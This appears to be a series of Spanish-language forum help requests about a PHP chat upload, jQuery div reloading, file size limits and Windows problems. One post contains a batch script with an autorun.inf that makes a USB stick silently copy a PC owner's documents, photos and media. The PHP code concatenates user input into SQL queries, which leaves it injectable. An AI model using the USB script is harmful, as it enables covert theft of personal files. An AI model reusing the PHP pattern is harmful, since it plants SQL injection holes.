               $fecha = date("d/m/Y");
               $hora = date("G:i");
               $mensaje = $_POST['mensaje_text'];
               mysqli_real_escape_string($conexion,$mensaje);
               $name_file = $_FILES['archivo']['name'];
               $size_file = $_FILES['archivo']['size'];
               $type_file = $_FILES['archivo']['type'];
               $url1 = file_get_contents($url);
               $md5 = md5($url1);
               $enlace = $_SERVER['SERVER_NAME']."/plugins/mensajeria/archivos/chat_do/videos/".$_FILES['archivo']['name'];
               $insertar = "INSERT INTO chat_do (md5,Clase,Mensaje,Multimedia,NombreArchivo,TamanoArchivo,TipoArchivo,Fecha,Hora) VALUES ('".$md5."','1A','".$mensaje."','".$enlace."','".$name_file."','".$size_file."','".$type_file."','".$fecha."','".$hora."')";
               $mostrar = "SELECT md5 FROM chat_do WHERE Fecha != '".$hora."'";
               $result = $conexion->query($mostrar);
               $row = $result->fetch_assoc();
               if ($md5 != $mostrar) {
                   if ($conexion->query($insertar) === TRUE) {
                       echo "1 video";
                   }else{
                       echo "error video";
                   }  
               }else{
                   unlink($url);
                   echo "archivo_copiado";
               }


El problema es que no se porque no funciona, creo que es $md5 != $mostrar, lo que esta mal. No se. Lo que quisiera hacer es que me diga si el $md5 es igual al primer dato de la DB md5, sino al segundo, al tercero... así consecutivamente hasta que consida con uno y me salte el else. La caso es que tiene que ser automático, no puedo hacerlo manualmente, sino no funcionará.

Código (php) [Seleccionar] Expandir


               if ($md5 != $mostrar) {
                   if ($conexion->query($insertar) === TRUE) {
                       echo "1 video";
                   }else{
                       echo "error video";
                   }  
               }else{
                   unlink($url);
                   echo "archivo_copiado";
               }


Gracias de antemano

Hola, tengo la curiosidad de como funcionan las arañas de google y en que lenguaje estan hechos.

Gracias.

Hola, estoy en un proceso en mi web, por la cual estoy haciendo un chat, por la cual en este chat, se puede subir archivos (imagenes, videos, audios y documentos), y quisiera saber cuantos MB o KB máximos podría restringir, cada uno. En este caso mi servidor solo acepta 2MB máximo de archivo (cualquiera).

imagenes: png, jpg, jpeg, gif y svg
audio: wav, mp3, ogg y midi
videos: mp4 ,avi ,mov, wmv
documentos: pdf, odt, ods, odp, odg, odf, doc, docx, xls, xlsx y ppt

Gracias.

estoy intentando actualizar un div sin recargar la página, para ello lo hago con jQuery, y me va bien, pero hay un pequeño error y es que al actualizar el div, las funciones no se ejecutan. Me explico, yo tengo un div donde una serie de actividades que el usuario puede eliminar, y en la funcion puse que al ser exitoso, me recargue el div, de la siguiente manera:

Código [Seleccionar] Expandir

$("#divacargar").load("paginaexterna.php");
La pagina externa contiene esto.

Código [Seleccionar] Expandir


      <p id="title"><b>Educaplay</b><i class="fa fa-close close_popup_educaplay"></i></p>
  <div id="contenedor">
    <?php include('educaplay.php') ?>
  </div>
  <div class="div_eliminacion">
    <svg id="cubo" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 70 76">
      <defs>
        <style>
          .cls-1{fill:#ed1c24;}
          .cls-1-tapa{fill:#ed1c24;}
          .cls-2{fill:#c1272d;}
        </style>
      </defs>
      <rect class="cls-1" y="16" width="70" height="60" rx="12" ry="12"/>
      <rect class="cls-2" x="49" y="26" width="10" height="40" rx="2.5" ry="2.5"/>
      <rect class="cls-2" x="29" y="26" width="10" height="40" rx="2.5" ry="2.5"/>
      <rect class="cls-2" x="9" y="26" width="10" height="40" rx="2.5" ry="2.5"/>
      <path class="cls-1-tapa" d="M80,30H60V27.1A3.12,3.12,0,0,0,56.9,24H43.1A3.12,3.12,0,0,0,40,27.1V30H20a5,5,0,0,0,0,10H80a5,5,0,0,0,0-10Z" transform="translate(-15 -24)"/>
    </svg>
    <form method="POST" id="form_identificador"><textarea style="display: none;" id="identificador" name="identidad"></textarea></form>
  </div>
  <img src="http://www.g-t-e.260mb.net/profesorado/imagenes/eliminar_todo_act.png" id="eliminar_todo_educaplay" title="Elimimar todas las actividades" alt="Eliminar todo">

Este div tiene varias funciones como el fa-close para salir del propio div pero al recargar el div autoomáticamente con .load() no funciona, las funciones ya no se ejecutan, y no sé porque.

¿Alguien sabe porque? Gracias.

Lo estoy intentando hacer un USB autoejecutable que solamente al conectar el USB me copie los de la PC a la que esta conectada, para eso hice el programa bat:

Código [Seleccionar] Expandir


@echo off
IF EXIST ".\cosas\"%USERNAME% MD ".\berta\"%USERNAME%
cd ".\berta\
for /R %USERPROFILE%\Pictures\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Desktop\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Videos\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Documents\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Music\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
pause
EXIT


El archivo funciona, pero necessito que se ejecute automáticamente, para ello hice el archivo autorun.inf:

Código [Seleccionar] Expandir


[Autorun]
open = guardar.bat


Quito el USB y lo vuelvo a poner y en teoría me tendría que salir el programa bat ejecutándose pero no hace eso, y no se cual es el problema, ya que en YouTube cuando lo veo, parece funcionar.

Gracias

P.D: Lo probé conviertiendo el .bat en .exe y tampoco funciona.

Hola, preguntaba si al entrar en la BIOS se puede abrir la consola en windows 7, para ejecutar un programa, gracias.

Hola,  fui a casa de un amigo a instalarle el windows 10 pro en su portátil de windows 8 starter, ya que le hiba muy lento y quería actualizarlo a otro windows. Todo fue bien desde la USB, pero al la hora de la instalación, todo fue bien, tanto instalación como actualizaciones, pero en las actualizaciones no me chequeó 'actualizaciones' y se me cargaba una cosa y después  volvía a reiniciarse el ordenador empezando todo de nuevo y así tantas veces como quieras.